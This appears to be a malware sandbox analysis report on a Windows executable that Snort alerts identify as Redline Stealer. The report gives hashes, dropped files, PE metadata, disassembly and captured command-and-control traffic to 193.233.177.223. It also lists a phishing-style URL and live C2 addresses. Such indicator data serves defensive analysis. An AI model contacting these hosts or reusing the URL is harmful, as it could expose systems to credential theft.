	http://okr7c.sodr7i.velocity-edu.com/#.aHR0cHM6Ly9saWNpbmRvcmUuaW4vd2VtYi8/ZT1lcGhlbGlwcGVhdUBnZXJmbG9yLmNvbQ==	Get hash	malicious	Browse	3.111.137.29
	tGzYeX0fmy.dll	Get hash	malicious	Browse	15.238.129.2
	jKSJ1uc470.dll	Get hash	malicious	Browse	13.115.145.221
	DIDnHMFV4i.dll	Get hash	malicious	Browse	35.163.240.188
	Syr1cmBjzD.dll	Get hash	malicious	Browse	52.26.34.98
	PUNqWZnb1o.dll	Get hash	malicious	Browse	54.74.120.127
	6ZwG5u2nN2.dll	Get hash	malicious	Browse	13.121.85.22
	D9QChclIva.dll	Get hash	malicious	Browse	18.148.167.147
	ZI1xhsXzRQ.dll	Get hash	malicious	Browse	18.155.165.6
	KPOkXCm1W7.dll	Get hash	malicious	Browse	54.230.149.17
	JIzNxwvQm7.dll	Get hash	malicious	Browse	15.161.224.53
	2rUwZEC2EL.dll	Get hash	malicious	Browse	3.106.116.22
	mOH7QGMTUy.dll	Get hash	malicious	Browse	13.219.147.236
	woZz9xw6gm.dll	Get hash	malicious	Browse	3.163.86.171
	1GevvT5j9F.dll	Get hash	malicious	Browse	185.133.70.37
	lkjKu0rY70.dll	Get hash	malicious	Browse	52.63.157.24
	wHuUrcDHlg.dll	Get hash	malicious	Browse	54.206.70.40
	fxyKXb2hV5.dll	Get hash	malicious	Browse	18.238.250.212

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	rvmsgjuGfo.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	yFKSU2Ebfs.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	5Tao2fQ4Jv.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	6ZwG5u2nN2.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	Xarid buyurtmasi.exe	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	ZI1xhsXzRQ.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	Wx2nj3zOyj.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	dsIOssZ1YA.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	woZz9xw6gm.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	lkjKu0rY70.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	wHuUrcDHlg.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	48O5lgRp91.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	Ai4IcFO0wI.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	jlDcDtXgq9.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	7L0nCME6Kp.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	iuKGeTa48w.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	vNpxhf7FVt.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	fQew7F3WdJ.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	fcZBQq5qMC.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1
	7HIw4dumsu.dll	Get hash	malicious	Browse	54.231.132.65 104.192.141.1

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2932
Entropy (8bit):	5.334469918014252
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHK7HKhBHKdHKB1AHKzvQTHmtHoxHImHKoLHG1+:iqXeqm00YqhQnouOq7qLqdqUqzcGtIxP
MD5:	29641A7272FBA07B18269357654F0550
SHA1:	182597007C1091A356B0191607E595B3A0040DBF
SHA-256:	BFB77C4E27E82036A4F25527D9ED17FE2504F1DF9FD9165016C5E69BF0FF2F83
SHA-512:	C27B0DAE4B56C8C25FC99B9072D8319CC56CA94C2CC28D90529DE68F8B9F44FFEC7CBFE71148798DF2D8C6D7D4A414103802D7C860464C7C55D220D44F72557A
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Local\Temp\fl.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3521567
Entropy (8bit):	6.916940006362001
Encrypted:	false
SSDEEP:	49152:MPYXV89jIEFhaRhKRqQcRWMRpqYo1AHM/l3A:MPYO9jRE6aWMjo1AHMu
MD5:	C3F4D625AC5428F07BB4CAB0D4D1758D
SHA1:	3C67E2894E579E295C165AFA740890B7070C9D59
SHA-256:	9E71781E1D951E7CA1AA60AACA5F1C457743B60B28F707271CF8916E35D723B6
SHA-512:	2D8772E2652E3CA2B609BAEB9D810B864B4FCAB582AE481A8753AE181C57FCDE7AFECABEC39A7C2421B0AAB63B2EE0DEC064448705F51DFD0CCE12A3075AE771
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 60%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b.($.~[...........B...J ..............`....@...........................$.......6....... ............................... .......................5.p....................................8......................$. ..............................text...p@.......B..................`.P`.data....D...`...F...F..............@.`..rdata..............................@.`@/4......X............\|..............@.0@.bss.........p .......................`..idata........ ......> .............@.0..CRT....4..... ......J .............@.0..tls.......... ......L .............@.0./14........... ......N .............@.@B/29.....o..... ......P .............@..B/41.....Y....P#.......".............@..B/55.....nf...p#..h....".............@..B/67.....8.....#......Z#.............@.0B/80.....D.....#......\#.............@..B/91..........$......`#.............@..B/102..........$.......$.

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	6.224376204024732
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	XGN98Zq3JB.exe
File size:	2583583
MD5:	0868c8b2657d243fa7b9657f1906f001
SHA1:	275682e65f6d55cd160b95d52132fa7a56191215
SHA256:	26b026ec1b7075e871d3935fa044dcd51304d261c9f57d9d0c40ae716a0c2c63
SHA512:	da49322f53c317c1c16cef47fc7a22f5f01b1c7bd53d8487dcae43d51229c82d9fbdb89557eecb186d13401a5f34b7accb2ae46bc87d2ce8ec8014da3f9f9957
SSDEEP:	24576:LetVSK35ZZYHYpf/CDXCgMNRr7ndaEfc2bQL1ZNfb/oj20Lfju35tFa4Vl3RuQ5j:av35kKRe1ZNfb/oj20WTl3l
TLSH:	31C51B136A8B0E75DDD23BB461CB633AA734ED30CA3A9B7FB608C53559532C46C1A742
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b....~[...........B...................`....@.................................$.'....... ............................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x4014a0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x62D2FDE7 [Sat Jul 16 18:05:27 2022 UTC]
TLS Callbacks:	0x41f760, 0x41f710
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e1888d3e3e34368cefc07e8f747b2817

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo RSA Code Signing CA, O=Sectigo Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	5/31/2019 5:00:00 PM 5/31/2022 4:59:59 PM
Subject Chain	CN=Ivan Yurievich Permyakov IP, O=Ivan Yurievich Permyakov IP, STREET="8 Marta str., 194-236", L=Ekaterinburg, S=-, PostalCode=620144, C=RU
Version:	3
Thumbprint MD5:	517EFDA7E43623D3AF3A77213974CB1B
Thumbprint SHA-1:	1000BD858A6B80FD8623A447691A56E914FD7C40
Thumbprint SHA-256:	09FEFF74BBE06719A0F2A3ACB414F3EE538D3C3570C184ECB15E8CEE3622371F
Serial:	3B9030718E4E5F9106E7E7D2A85F1B48

Entrypoint Preview

Instruction
sub esp, 0Ch
mov dword ptr [005223B8h], 00000000h
call 00007F6D489A4C33h
add esp, 0Ch
jmp 00007F6D489867ABh
lea esi, dword ptr [esi+00000000h]
sub esp, 1Ch
mov eax, dword ptr [esp+20h]
mov dword ptr [esp], eax
call 00007F6D489B4B2Eh
test eax, eax
sete al
add esp, 1Ch
movzx eax, al
neg eax
ret
nop
nop
nop
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 1Ch
mov dword ptr [esp], 004D6000h
call dword ptr [0052324Ch]
sub esp, 04h
test eax, eax
je 00007F6D48986B85h
mov ebx, eax
mov dword ptr [esp], 004D6000h
call dword ptr [00523270h]
mov edi, dword ptr [00523254h]
sub esp, 04h
mov dword ptr [00522DF0h], eax
mov dword ptr [esp+04h], 004D6013h
mov dword ptr [esp], ebx
call edi
sub esp, 08h
mov esi, eax
mov dword ptr [esp+04h], 004D6029h
mov dword ptr [esp], ebx
call edi
mov dword ptr [004B6004h], eax
sub esp, 08h
test esi, esi
je 00007F6D48986B23h
mov dword ptr [esp+04h], 0052201Ch
mov dword ptr [esp], 004E50F8h
call esi
mov dword ptr [esp], 00401590h
call 00007F6D48986A73h
lea esp, dword ptr [ebp-0Ch]
pop ebx
pop esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x123000	0xbfc	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x274caf	0x1f70
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xde8d8	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x123224	0x1d4	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb4070	0xb4200	False	0.37827463566967384	data	6.294341313073875	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb6000	0x1f49c	0x1f600	False	0.7660763197211156	data	7.112221788524259	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xd6000	0xef80	0xf000	False	0.4201171875	data	5.6814479293708215	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
/4	0xe5000	0x3c158	0x3c200	False	0.19257162811850312	data	4.792031042892582	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x122000	0xf00	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x123000	0xbfc	0xc00	False	0.412109375	data	5.199149281452786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x124000	0x34	0x200	False	0.07421875	data	0.2725886676589459	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x125000	0x8	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
/14	0x126000	0x110	0x200	False	0.251953125	data	1.4171434909440312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/29	0x127000	0x2826f	0x28400	False	0.3977642177795031	data	6.1265727000513195	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/41	0x150000	0x1d59	0x1e00	False	0.23385416666666667	data	4.8076212229555635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/55	0x152000	0x666e	0x6800	False	0.39742337740384615	data	5.405068984566409	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/67	0x159000	0x38	0x200	False	0.1171875	TIM image, (3080,1028)	0.6721446845015864	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/80	0x15a000	0x244	0x400	False	0.345703125	data	3.5388810579692787	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/91	0x15b000	0xb3c3	0xb400	False	0.29767795138888886	data	4.407897379004207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/102	0x167000	0x12d0	0x1400	False	0.3296875	data	3.918228681761009	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	CloseHandle, CreateSemaphoreW, CreateThread, DeleteCriticalSection, EnterCriticalSection, FreeLibrary, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetLastError, GetModuleHandleA, GetModuleHandleW, GetProcAddress, GetStartupInfoA, GetSystemTimeAsFileTime, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, LeaveCriticalSection, LoadLibraryA, MultiByteToWideChar, QueryPerformanceCounter, ReleaseSemaphore, SetLastError, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, VirtualProtect, VirtualQuery, WaitForSingleObject, WideCharToMultiByte
msvcrt.dll	___mb_cur_max_func, __doserrno, __getmainargs, __initenv, __lconv_init, __p__acmdln, __p__fmode, __pioinfo, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _errno, _fdopen, _filelengthi64, _fileno, _fileno, _fstat64, _initterm, _iob, _lseeki64, _onexit, _read, _strnicmp, _write, _write, abort, atoi, calloc, exit, fclose, fflush, fgetpos, fopen, fprintf, fputc, fputs, fread, free, fsetpos, fwrite, getc, getwc, isspace, iswctype, localeconv, malloc, memchr, memcmp, memcpy, memmove, memset, putc, putwc, realloc, setlocale, setvbuf, signal, sprintf, strchr, strcmp, strcoll, strerror, strftime, strlen, strncmp, strtoul, strxfrm, towlower, towupper, ungetc, ungetwc, vfprintf, wcscoll, wcsftime, wcslen, wcsxfrm
USER32.dll	GetSysColorBrush

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.5193.233.177.22349805316222850286 07/20/22-10:33:02.875485	TCP	2850286	ETPRO TROJAN Redline Stealer TCP CnC Activity	49805	31622	192.168.2.5	193.233.177.223
193.233.177.223192.168.2.531622498052850353 07/20/22-10:32:22.534892	TCP	2850353	ETPRO MALWARE Redline Stealer TCP CnC - Id1Response	31622	49805	193.233.177.223	192.168.2.5
192.168.2.5193.233.177.22349805316222850027 07/20/22-10:32:20.636277	TCP	2850027	ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init	49805	31622	192.168.2.5	193.233.177.223

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 10:32:20.094540119 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:20.150039911 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:20.150180101 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:20.636276960 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:20.692161083 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:20.780008078 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:22.478774071 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:22.534892082 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:22.670752048 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:31.365021944 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:31.422295094 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:31.422465086 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:31.422486067 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:31.422524929 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:31.484000921 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.423101902 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.478950024 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.478987932 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.479007959 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.479137897 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.479197979 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.534853935 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.534888029 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.534904957 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.534921885 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.534996986 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.535058975 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.535104036 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.535115004 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.590195894 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.590224028 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.590286970 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.590369940 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.590548992 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.590560913 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.590653896 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.590857983 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.590864897 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.590924978 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.646529913 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.646567106 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.646581888 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.646730900 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.646748066 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.646791935 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.646913052 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.647140026 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.647205114 CEST	49805	31622	192.168.2.5	193.233.177.223
Jul 20, 2022 10:32:53.702004910 CEST	31622	49805	193.233.177.223	192.168.2.5
Jul 20, 2022 10:32:53.702116013 CEST	31622	49805	193.233.177.223	192.168.2.5
